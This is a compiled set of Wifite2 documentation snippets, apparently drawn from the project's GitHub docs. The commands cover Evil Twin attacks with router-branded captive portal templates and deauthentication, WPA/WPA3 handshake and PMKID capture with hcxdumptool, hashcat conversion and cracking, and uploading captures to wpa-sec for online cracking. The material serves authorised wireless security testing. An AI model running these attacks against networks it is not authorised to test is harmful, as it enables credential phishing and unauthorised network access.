Ensure Wifite is run with sudo to avoid permission issues when applying iptables rules.

```bash
sudo wifite --eviltwin
```

--------------------------------

### Verify Monitor Interface Status

Source: https://github.com/kimocoder/wifite2/blob/master/docs/WPA3_TROUBLESHOOTING.md

Confirm that the monitor interface is active and correctly configured after setting it up.

```bash
iwconfig
```

--------------------------------

### View Interface Assignment Decisions

Source: https://github.com/kimocoder/wifite2/blob/master/docs/DUAL_INTERFACE_EXAMPLES.md

Use the --verbose flag with --dual-interface to see how Wifite2 assigns interfaces.

```bash
# See which interfaces wifite would assign
sudo wifite --dual-interface --verbose
```

--------------------------------

### Compare Single vs. Dual Interface Attack

Source: https://github.com/kimocoder/wifite2/blob/master/docs/DUAL_INTERFACE_EXAMPLES.md

Run the same attack with a single interface and then with dual interfaces to compare performance. This helps verify the benefits of dual interface mode.

```bash
# Run same attack with single interface
sudo wifite --no-dual-interface --interface wlan0 --eviltwin \
            -b AA:BB:CC:DD:EE:FF

# Then with dual interface
sudo wifite --dual-interface --eviltwin -b AA:BB:CC:DD:EE:FF

# Compare attack times and success rates
```

--------------------------------

### List iptables Rules

Source: https://github.com/kimocoder/wifite2/blob/master/docs/EVILTWIN_TROUBLESHOOTING.md

Display the current iptables rules to verify their configuration and identify potential conflicts.

```bash
sudo iptables -L
```

--------------------------------

### Troubleshoot hcxdumptool Permission Denied

Source: https://github.com/kimocoder/wifite2/blob/master/docs/WPA3_TROUBLESHOOTING.md

Addresses 'Permission denied' errors when running hcxdumptool by running it with root privileges or by setting capabilities (less recommended).

```bash
# hcxdumptool requires root privileges
sudo hcxdumptool -i wlan0mon -o capture.pcapng

# Or add capabilities (not recommended for security)
sudo setcap cap_net_raw,cap_net_admin=eip /usr/local/bin/hcxdumptool
```

--------------------------------

### Attack Monitoring Help

Source: https://github.com/kimocoder/wifite2/blob/master/README.md

Filter the verbose help output to display options for Attack Monitoring.

```bash
sudo wifite -h -v | grep -A 15 "ATTACK MONITOR"
```

--------------------------------

### Wifite2 Upload with Email Notifications

Source: https://github.com/kimocoder/wifite2/blob/master/README.md

Enable wpa-sec upload functionality and receive email notifications upon successful upload. Requires a valid API key.

```bash
sudo wifite --wpasec --wpasec-key YOUR_API_KEY --wpasec-email your@email.com
```

--------------------------------

### Enable WPA-SEC Uploads with API Key

Source: https://github.com/kimocoder/wifite2/blob/master/README.md

Configure Wifite to upload captured handshakes and PMKIDs to WPA-SEC for online cracking by providing your API key. This enables distributed cracking capabilities.

```bash
sudo wifite --wpasec --wpasec-key YOUR_API_KEY
```

--------------------------------

### Basic Manual Dual Interface Selection

Source: https://github.com/kimocoder/wifite2/blob/master/docs/DUAL_INTERFACE_EXAMPLES.md

Manually specify the primary and secondary wireless interfaces for dual interface mode. Wifite will validate their existence and capabilities.

```bash
sudo wifite --interface-primary wlan0 --interface-secondary wlan1
```

--------------------------------

### Schedule Wifite Monitoring with Detailed Logging

Source: https://github.com/kimocoder/wifite2/blob/master/README.md

Use this command to schedule continuous monitoring of wireless attacks for a specified duration, logging detailed information to a timestamped file. The -vv flag increases verbosity for more detailed logs.

```bash
sudo wifite --monitor-attacks --monitor-duration 3600 --monitor-log /var/log/compliance/wireless_$(date +%Y%m%d).log -vv
```

--------------------------------

### Check System Logs for Hardware Issues

Source: https://github.com/kimocoder/wifite2/blob/master/docs/EVILTWIN_TROUBLESHOOTING.md

Use `dmesg` to view kernel messages and identify potential hardware issues with your wireless adapter.

```bash
sudo dmesg | tail -20
```

--------------------------------

### Enable Dual Interface Mode

Source: https://github.com/kimocoder/wifite2/blob/master/docs/DUAL_INTERFACE_GUIDE.md

Enable dual interface mode for automatic detection and assignment of interfaces. Falls back to single interface mode if only one is available.

```bash
sudo wifite --dual-interface --eviltwin
```

--------------------------------

### Quick Assessment with Dual Interfaces

Source: https://github.com/kimocoder/wifite2/blob/master/docs/DUAL_INTERFACE_EXAMPLES.md

Perform a quick scan and attack using dual interfaces, limiting the number of targets and enabling verbose output.

```bash
sudo wifite --dual-interface --first 3 -v
```

--------------------------------

### Force Fresh WPA3 Detection

Source: https://github.com/kimocoder/wifite2/blob/master/docs/WPA3_DETECTION_OPTIMIZATION.md

Demonstrates how to force a fresh WPA3 detection by clearing the existing cache (`target.wpa3_info = None`) before calling the detection method.

```python
# Force fresh detection
target.wpa3_info = None
wpa3_info = WPA3Detector.detect_wpa3_capability(target)
```

--------------------------------

### Gather System and Wireless Information

Source: https://github.com/kimocoder/wifite2/blob/master/docs/EVILTWIN_TROUBLESHOOTING.md

Collect essential system and wireless adapter details for reporting issues. This includes kernel version, distribution info, and wireless device listings.

```bash
uname -a
```

```bash
lsb_release -a
```

```bash
iw list > /tmp/iw_list.txt
```

```bash
lsusb | grep -i wireless
```

--------------------------------

### Use Generic Captive Portal Template

Source: https://github.com/kimocoder/wifite2/blob/master/docs/EVILTWIN_GUIDE.md

Employ the default 'generic' captive portal template for your Evil Twin attack. This template is universally compatible and provides a clean design.

```bash
sudo wifite --eviltwin --eviltwin-template generic
```

--------------------------------

### Run hostapd Access Point

Source: https://github.com/kimocoder/wifite2/blob/master/docs/EVILTWIN.md

Command to run hostapd with a specified configuration file and network interface. Ensure the configuration file is correctly set up.

```bash
hostapd ~/hostapd.conf -i wlan0
```

--------------------------------

### Wifite2 Evil Twin Command Reference - Captive Portal Options

Source: https://github.com/kimocoder/wifite2/blob/master/docs/EVILTWIN_GUIDE.md

Lists options for customizing the captive portal, including template selection and web server port.

```bash
# Captive Portal Options
--eviltwin-template <name>       # Portal template: generic, tplink, netgear, linksys
--eviltwin-port <port>           # Web server port (default: 80)
```

--------------------------------

### Resume Latest Session Automatically

Source: https://github.com/kimocoder/wifite2/blob/master/docs/DUAL_INTERFACE_EXAMPLES.md

Automatically resume the latest Wifite session.

```bash
sudo wifite --resume-latest
```

--------------------------------

### Integrate with WPA-SEC Online Cracking

Source: https://context7.com/kimocoder/wifite2/llms.txt

Uploads captured handshakes and PMKID hashes to wpa-sec.stanev.org for distributed offline cracking. Requires an API key.

```bash
sudo wifite --wpasec --wpasec-key YOUR_API_KEY
```

```bash
sudo wifite --wpasec --wpasec-key YOUR_API_KEY --wpasec-auto
```

```bash
sudo wifite --wpasec --wpasec-key YOUR_API_KEY --wpasec-email you@example.com
```

```bash
sudo wifite --wpasec --wpasec-key YOUR_API_KEY --wpasec-auto --wpasec-remove
```

```bash
sudo wifite --wpasec --wpasec-key YOUR_API_KEY --wpasec-url https://custom.wpa-sec-instance.org
```

```bash
sudo wifite --wpasec --wpasec-key YOUR_API_KEY --wpasec-timeout 90
```

```bash
sudo wifite -b AA:BB:CC:DD:EE:FF --pmkid --wpasec --wpasec-key YOUR_API_KEY --wpasec-auto
```

--------------------------------

### Run Wifite in Verbose Mode

Source: https://github.com/kimocoder/wifite2/blob/master/docs/EVILTWIN_TROUBLESHOOTING.md

Execute Wifite with verbose output to observe deauthentication packet sending and other details.

```bash
sudo wifite --eviltwin -vv
```

--------------------------------

### View hostapd Logs

Source: https://github.com/kimocoder/wifite2/blob/master/docs/EVILTWIN_TROUBLESHOOTING.md

Check recent hostapd errors using journalctl. Alternatively, view Wifite's own logs for more details.

```bash
sudo journalctl -u hostapd -n 50
```

```bash
tail -f ~/.wifite/logs/wifite.log
```

--------------------------------

### Manual WPA3 Capture and Conversion

Source: https://github.com/kimocoder/wifite2/blob/master/docs/WPA3_TROUBLESHOOTING.md

Perform manual SAE capture using hcxdumptool and convert the capture file to Hashcat format using hcxpcapngtool.

```bash
# Manual SAE capture
sudo hcxdumptool -i wlan0mon -o capture.pcapng --enable_status=15
```

```bash
# Convert to hashcat format
hcxpcapngtool -o hash.22000 capture.pcapng
```

--------------------------------

### Check Web Server Status

Source: https://github.com/kimocoder/wifite2/blob/master/docs/EVILTWIN_TROUBLESHOOTING.md

Verify that the web server handling the captive portal is running and listening on port 80.

```bash
sudo netstat -tulpn | grep :80
```

--------------------------------

### Check for wpa_supplicant Processes

Source: https://github.com/kimocoder/wifite2/blob/master/docs/EVILTWIN_TROUBLESHOOTING.md

List running processes to ensure that wpa_supplicant is active, which indicates that the validation process is running.

```bash
ps aux | grep wpa_supplicant
```

--------------------------------

### Test Manual Interface Assignment Verbosity

Source: https://github.com/kimocoder/wifite2/blob/master/docs/DUAL_INTERFACE_EXAMPLES.md

Test manual interface assignment with verbose output to confirm Wifite2 is using the specified interfaces.

```bash
# Test manual assignment
sudo wifite --interface-primary wlan0 --interface-secondary wlan1 -v
```

--------------------------------

### WPA Capture with hcxdumptool (Manual Interfaces)

Source: https://github.com/kimocoder/wifite2/blob/master/docs/DUAL_INTERFACE_EXAMPLES.md

Uses hcxdumptool for WPA handshake capture with manually specified interfaces, providing advanced features like full spectrum monitoring.

```bash
sudo wifite --interface-primary wlan0 --interface-secondary wlan1 --wpa --hcxdump
```

--------------------------------

### Test Hashcat with Captured Hashes

Source: https://github.com/kimocoder/wifite2/blob/master/docs/WPA3_TROUBLESHOOTING.md

Perform a basic test with Hashcat using the generated hash file to confirm that it can load and process the hashes, and potentially show cracked passwords.

```bash
hashcat -m 22000 hash.22000 --show
```